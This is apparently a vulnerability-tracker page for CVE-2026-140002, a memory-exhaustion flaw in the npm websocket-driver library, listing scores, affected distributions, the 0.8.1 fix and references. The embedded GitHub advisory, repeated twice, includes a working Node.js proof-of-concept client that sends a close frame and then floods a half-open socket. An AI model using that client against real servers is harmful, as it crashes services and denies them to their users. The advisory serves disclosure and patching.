CVE-2026-140002
websocket- driver: Memory exhaustion triggered by buffering of data received after socket is closed
- Severity
- 7.5HighNetwork attack, no privileges, no user interactionCVSS 3.1, CVE List
- Exploitation
- None reported
- Exploit chance
- 0.62% in 30 daysPercentile51stEPSS, scored
- Listed fix
0.8.1for websocket-driver (npm) From GitHub Advisories and OSV8 other affected packages
Overview
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
CVSS 3.1 vector
Exploitability
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
Impact
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploit chance over time
Affected
Packages 9
| Package | Affected | Fixed |
|---|---|---|
websocket-drivernpm | before 0.8.1 | 0.8.1 |
js-jqueryAzure Linux:3 | through 3.5.0-4 | None listed |
python-tensorboardAzure Linux:3 | through 2.16.2-6 | None listed |
node-websocket-driverDebian:12 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:13 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:14 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
librechat-0Docker Hardened Images:Alpine:3.23 | 0.8.8-r0 and later, plus listed versions 0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5 Show 5 more versionsShow less0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3 | None listed |
librechat-0Docker Hardened Images:Alpine:3.24 | 0.8.8-r0 and later, plus listed versions 0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5 Show 5 more versionsShow less0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3 | None listed |
librechat-0Docker Hardened Images:Debian:13 | 0.8.8-0 and later, plus listed versions 0.8.8-10.8.8-20.8.8-30.8.8-40.8.8-5 Show 5 more versionsShow less0.8.9-00.8.9-10.8.9-20.8.9-30.8.9-4 | None listed |
Only in multi-CVE advisories 1
Each of these advisories covers several CVEs at once, so it doesn’t establish that this one affects the package.
| Package | Affected | Fixed |
|---|---|---|
websocket-driverTuxCare:npm | 0.7.5-tuxcare.0 up to 0.7.5-tuxcare.3, plus listed versions From an advisory covering 5 CVEs 0.7.50.7.5-tuxcare.10.7.5-tuxcare.2 | 0.7.5-tuxcare.3 |
| 0.7.4-tuxcare.0 up to 0.7.4-tuxcare.3, plus listed versions From an advisory covering 5 CVEs 0.7.40.7.4-tuxcare.10.7.4-tuxcare.2 | 0.7.4-tuxcare.3 | |
| 0.6.5-tuxcare.0 up to 0.6.5-tuxcare.3, plus listed versions From an advisory covering 2 CVEs 0.6.50.6.5-tuxcare.10.6.5-tuxcare.2 | 0.6.5-tuxcare.3 |
Products 1
Exploits
Sources link exploit code, tools that only detect the flaw and other work on it, and most don’t say which a link is.
| Link | Source | Date |
|---|---|---|
| googlesky/CVE-2026-140002 | PoC in GitHub | 2026-12-03 |
Sources
CVE List Score usedCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
CVE-2026-140002- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-01
EUVDEUVD-2026-139725CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
EUVD-2026-139725- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-01
GitHub AdvisoriesGHSA-v674-7268-hvqhCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed
Summary
A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.
Details
When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.
This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.
Proof of concept
Given a server accepting WebSocket connections using websocket-driver:
const net = require("net")
const websocket = require("websocket-driver")
const server = net.createServer((connection) => {
let driver = websocket.server({ maxLength: 1024 })
driver.on("connect", () => {
if (websocket.isWebSocket(driver)) driver.start()
})
driver.on("close", () => connection.end())
connection.pipe(driver.io).pipe(connection)
})
server.listen(5083, "127.0.0.1")
A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.
const net = require("net")
let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true })
socket.write(
"GET / HTTP/1.1\r\n" +
"Host: 127.0.0.1\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
`Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` +
"Sec-WebSocket-Version: 13\r\n" +
"\r\n"
)
socket.once("data", () => {
// masked Close frame, empty payload
socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))
// send arbitrary data
let chunk = Buffer.alloc(2 ** 20)
setInterval(() => socket.write(chunk), 100)
})
If this client is left running, the server's memory use will continue to grow indefinitely.
Impact
A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.
- Record
GHSA-v674-7268-hvqh- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-01
NVDCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
CVE-2026-140002- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-01
OSVCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
CVE-2026-140002- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-01
OSVDEBIAN-CVE-2026-140002CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
DEBIAN-CVE-2026-140002- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-03
Show 7 more recordsShow less
OSVDHI-prny-x3ta-xnu5-eobgCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket…
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
DHI-prny-x3ta-xnu5-eobg- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-04
OSVGHSA-v674-7268-hvqhCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed
Summary
A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.
Details
When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.
This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.
Proof of concept
Given a server accepting WebSocket connections using websocket-driver:
const net = require("net")
const websocket = require("websocket-driver")
const server = net.createServer((connection) => {
let driver = websocket.server({ maxLength: 1024 })
driver.on("connect", () => {
if (websocket.isWebSocket(driver)) driver.start()
})
driver.on("close", () => connection.end())
connection.pipe(driver.io).pipe(connection)
})
server.listen(5083, "127.0.0.1")
A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.
const net = require("net")
let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true })
socket.write(
"GET / HTTP/1.1\r\n" +
"Host: 127.0.0.1\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
`Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` +
"Sec-WebSocket-Version: 13\r\n" +
"\r\n"
)
socket.once("data", () => {
// masked Close frame, empty payload
socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))
// send arbitrary data
let chunk = Buffer.alloc(2 ** 20)
setInterval(() => socket.write(chunk), 100)
})
If this client is left running, the server's memory use will continue to grow indefinitely.
Impact
A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.
- Record
GHSA-v674-7268-hvqh- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-01
OSVAZL-117503No score
CVE-2026-140002 affecting package js-jquery 3.5.0-4
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
AZL-117503- Updated
- 2026-12-03
OSVAZL-117641No score
CVE-2026-140002 affecting package python-tensorboard 2.16.2-6
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.
- Record
AZL-117641- Updated
- 2026-12-03
OSVCLSA-2026-1796199359No score
TuxCare security update for websocket-driver (5 CVEs)
TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.
- Record
CLSA-2026-1796199359- Updated
- 2026-12-04
OSVCLSA-2026-1796206185No score
TuxCare security update for websocket-driver (5 CVEs)
TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.
- Record
CLSA-2026-1796206185- Updated
- 2026-12-04
OSVCLSA-2026-1796226468No score
TuxCare security update for websocket-driver (2 CVEs)
TuxCare rebuilt websocket-driver to address 2 CVEs. Fixed in 0.6.5-tuxcare.3.
- Record
CLSA-2026-1796226468- Updated
- 2026-12-03
History
Recorded by Every CVE
| Day | Changed | Sources |
|---|---|---|
| Affected packages, other IDs | OSV | |
| Affected packages, other IDs | OSV | |
| References | OSV | |
| Affected packages, other IDs, references | OSV | |
| Affected packages | OSV | |
| Affected packages, other IDs, references | OSV | |
| Exploit links, key facts | PoC in GitHub | |
| Affected packages, other IDs | OSV | |
| Published date | EUVD | |
| Affected packages | NVD, OSV | |
| Affected packages, other IDs, references | OSV | |
| Key facts, references | CVE List, OSV | |
| Published date | EUVD | |
| Affected packages, references | OSV | |
| Affected packages, key facts, references | GitHub Advisories | |
| Other IDs, references | OSV | |
| Other IDs, published date | EUVD, NVD | |
| First indexed | CVE List |
Upstream dates may differ.
References
github.com/faye/websocket-driver-node/security/advisories/GHSA-v674-7268-hvqh
github.com/faye/websocket-driver-node/commit/189e7b7e75d49e61f2589da995de6e7323db6284
nvd.nist.gov/vuln/detail/CVE-2026-140002
github.com/advisories/GHSA-v674-7268-hvqh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140002.json
security-tracker.debian.org/tracker/CVE-2026-140002
scout.docker.com/v/DHI-prny-x3ta-xnu5-eobg
ubuntu.com/security/CVE-2026-140002
people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140002
github.com/faye/websocket-driver-node